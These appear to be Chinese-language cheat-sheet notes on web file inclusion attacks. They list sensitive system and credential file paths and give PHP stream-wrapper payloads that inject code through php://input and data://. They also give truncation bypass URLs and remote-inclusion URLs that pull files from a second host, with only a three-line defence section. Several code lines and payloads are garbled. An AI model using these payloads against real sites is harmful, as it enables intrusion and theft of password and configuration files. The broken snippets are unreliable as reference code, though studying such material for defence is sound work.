文件包含
- Web应用实现了动态包含
- 动态包含的文件路径参数,客户端可控
漏洞成因
相关函数
-
PHP include() 文件包含失败时,会产生警告,脚本会继续运行
include_once() 与 include()功能相同,文件只会被包含一次
require() 文件包含失败时,会产生错误,直接结束脚本执行
require_once() 与 require()功能相同,文件只会被包含一次
fopen()
readfile()
<?php
spath=$_GET['path '];
inc lude_once("/inc. php");
echo <h1>This is include_ once. php! </h1>;
include_once $path;
-
JSP/Servlet java.io.file( )
java.io.filereader( )
-
ASP include file
include virtual
漏洞分类
本地文件包含(LFI)
远程文件包含(RFI)
漏洞危害
漏洞挖掘
漏洞利用
常见的敏感信息路径
-
Windows系统 c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\Program Files\mysql\my.ini // MySQL配置
c:\Program Files\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
-
Linux/Unix系统 /etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
使用各种协议流
-
PHP http/https/file/ftp
file://D://././readme.txt allow_url_On/Off
php://filter/read=convert.base64-encode/resorce=./readme.txt allow_url_On/Off
php://input[post data<?php phpinfo();?>] allow_url_On
zip://D://file.zip%23readme.txt allow_url_On/Off
data://test/plain.<?php phpinfo();?> allow_url_On
-
ASP http/https/file/ftp/rtsp/smb
-
JAVA http/https/file/ftp/rtsp/smb
-
curl http/https/dict/file/ftp/imap/pop3/rtsp/smb/smtp/telnet
-
perl http/https/gopher/file/ftp/imap/pop3/rtsp/smb
配合文件上传漏洞
漏洞防御
-
固定文件后缀,设置并检测访问文件的后缀 -
固定文件,设置允许访问的文件 -
防护软件
防御绕过
本地文件包含
-
%00截断 利用条件:
php版本<5.3.4
magic_quotes_gpc=Off
利用:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
-
路径长度截断 原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃
Linux下目录最大长度为4096字节,超出的部分会被丢弃
利用:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
-
点号截断 原理:
条件与路径长度截断相同
利用:
http://192.168.159.128/include/include.php?filename=test.txt.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
远程文件包含
-
问号绕过 http://http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt?
-
#号绕过 http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt%23
-
空格绕过 http://192.168.159.128/include/include.php?filename=http://192.168.91.133/readme.txt%20
?
|